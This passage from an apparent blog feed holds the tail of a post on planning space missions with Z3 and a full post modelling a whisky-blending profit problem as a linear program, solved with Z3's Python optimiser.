 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Z3 has a bunch of boolean expressions/functions that can replace the traditional inequalities: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;AtMost&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;AtLeast&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Implies&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Not&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/05/02/Planning-Space-Missions.html" rel="alternate" type="text/html" title="Planning Space Missions with Z3"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="integer linear optimization" label="integer linear optimization"/>
    <published>2021-05-02T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/04/29/Blending-Whisky.html</id>
    <title>Blending Whisky with Z3</title>
    <updated>2021-04-29T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A whisky producer uses three kind of licor to make their whisky: \(A\), \(B\) and \(C\).&lt;/p&gt;
&lt;p&gt;Three kind of whisky can be made using the licor in the following proportions:&lt;/p&gt;
&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class="header"&gt;
&lt;th style="text-align: center;"&gt;Whisky&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Sales Price&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Recipe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(E\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(680\)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No less than 60% of \(A\), no more than 20% of \(C\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: center;"&gt;\(F\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(570\)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No less than 15% of \(A\), no more than 80% of \(C\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(G\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(450\)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No more than 50% of \(C\)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The producer has the following stock and price list from its licor supplier:&lt;/p&gt;
&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class="header"&gt;
&lt;th style="text-align: center;"&gt;Licor&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Stock&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Price&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(A\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(2000\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(700\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: center;"&gt;\(B\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(2500\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(500\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(C\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(1200\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(400\)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Note: the prices are in $ per liter and the stock are in liters.&lt;/p&gt;
&lt;p&gt;The goal is to maximize the profit.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="bad-plan-non-linear-system"&gt;Bad plan: non-linear system&lt;/h2&gt;
&lt;p&gt;Let’s begin with the bounds of each licor:&lt;/p&gt;
$$
A_E  E + A_F  F + A_G  G = A &lt;= 2000 \\
B_E  E + B_F  F + B_G  G = B &lt;= 2500 \\
C_E  E + C_F  F + C_G  G = C &lt;= 1200 \\
$$
&lt;p&gt;We introduced a new variable per combination of licor and whisky: \(A_E\) stands for the ratio of licor \(A\) used in the whisky &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, \(B_F\) stands for the ratio of licor \(B\) used in the whisky \(F\) and so on.&lt;/p&gt;
&lt;p&gt;These variables are in liters of licor per liter of whisky (or they are unit-less if you prefer).&lt;/p&gt;
&lt;p&gt;And we are fuck.&lt;/p&gt;
&lt;p&gt;These three equations are not longer linear because we have the product of two variable (\(A_E  E\) for example).&lt;/p&gt;
&lt;p&gt;We need to rethink our strategy.&lt;/p&gt;
&lt;h2 id="the-blending"&gt;The blending&lt;/h2&gt;
&lt;p&gt;Think in \(A_E\) &lt;em&gt;not as the ratio but as the amount of liters itself&lt;/em&gt; of licor \(A\) used in \(E\).&lt;/p&gt;
&lt;p&gt;This is a &lt;em&gt;blending&lt;/em&gt; problem where some variables represent a part, fraction or subcomponent of another.&lt;/p&gt;
$$
A_E + A_F + A_G = A &lt;= 2000 \\
B_E + B_F + B_G = B &lt;= 2500 \\
C_E + C_F + C_G = C &lt;= 1200 \\
$$
&lt;p&gt;Now the system is linear again.&lt;/p&gt;
&lt;p&gt;What about the restrictions of each recipe?&lt;/p&gt;
&lt;p&gt;It would be wonderful to put something like this that it is a literal translation of the problem into inequalities:&lt;/p&gt;
$$
0.6 &lt;= A_E/E &lt;= 1 \\
0 &lt;= C_E/E &lt;= 0.2 \\
--- \\
0.15 &lt;= A_F/F &lt;= 1 \\
0 &lt;= C_F/F &lt;= 0.8 \\
--- \\
0 &lt;= C_G/G &lt;= 0.5 \\
$$
&lt;p&gt;But again, that makes the system non-linear.&lt;/p&gt;
&lt;p&gt;Instead we do the following:&lt;/p&gt;
$$
0.6  E &lt;= A_E &lt;= 1  E \\
0  E &lt;= C_E &lt;= 0.2  E \\
--- \\
0.15  F &lt;= A_F &lt;= 1  F \\
0  F &lt;= C_F &lt;= 0.8  F \\
--- \\
0  G &lt;= C_G &lt;= 0.5  G \\
$$
&lt;p&gt;We complete the recipe of each whisky with the remaining licor:&lt;/p&gt;
$$
A_E + B_E + C_E = E \\
A_F + B_F + C_F = F \\
A_G + B_G + C_G = G \\
$$
&lt;p&gt;So what did we do? We split each licor (input \(I\)) into \(N\) &lt;em&gt;blending&lt;/em&gt; variables (\(I_o\)), one for each whisky type (output \(O\)).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;We ensured that the sum of the &lt;em&gt;blending&lt;/em&gt; variables for the &lt;strong&gt;same&lt;/strong&gt; licor (input) summed up the total amount of &lt;strong&gt;that&lt;/strong&gt; licor (\(A_E + A_F + A_G = A\)) – we did a &lt;em&gt;partition&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We restricted each blending variable based on a proportion of each amount of whisky (\(0.6  E &lt;= A_E &lt;= 1  E\)) – these are the &lt;em&gt;blending rules&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We ensured that the sum of the &lt;em&gt;blending&lt;/em&gt; variable &lt;strong&gt;across&lt;/strong&gt; all the licor (input) for the &lt;strong&gt;same&lt;/strong&gt; whisky (output) summed up the total amount of &lt;strong&gt;that&lt;/strong&gt; whisky.&lt;/p&gt;
&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(A_E\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(A_F\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(A_G\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;→ \(A\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: center;"&gt;\(B_E\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(B_F\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(B_G\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;→ \(B\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(C_E\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(C_F\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(C_G\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;→ \(C\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: center;"&gt;↓&lt;/td&gt;
&lt;td style="text-align: center;"&gt;↓&lt;/td&gt;
&lt;td style="text-align: center;"&gt;↓&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;\(E\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(F\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;\(G\)&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-goal"&gt;The goal&lt;/h2&gt;
&lt;p&gt;And finally, this is the goal to maximize:&lt;/p&gt;
$$
Z = max\{680 E + 570 F + 450 G - 700 A - 500 B - 400 C \}
$$
&lt;h2 id="find-the-optimum-with-z3"&gt;Find the optimum with Z3&lt;/h2&gt;
&lt;p&gt;Setup the engine, create the variables and ensure that them are non-negative.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A B C E F G&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;A_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;A_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;A_G&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A_E A_F A_G&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B_G&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B_E B_F B_G&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;C_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C_G&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;C_E C_F C_G&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;A_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;A_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;A_G&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B_G&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;C_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C_G&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Limit the amount of supplies&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;C&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;1200&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Split the licor for each whisky&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;A_F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;A_G&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B_E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B_F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B_G&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;C_E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C_F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C_G&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Blending rules:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# minimum amount of licor for whisky E&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mf"&gt;0.6&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;A_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;C_E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# maximum amount of licor for whisky E&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_E&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;C_E&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# minimum amount of licor for whisky F&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mf"&gt;0.15&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;A_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;C_F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# maximum amount of licor for whisky F&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_F&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;C_F&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;0.8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# the same for whisky G&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;C_G&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;C_G&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B_E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C_E&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B_F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C_F&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;A_G&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B_G&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C_G&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Profit!&lt;/p&gt;
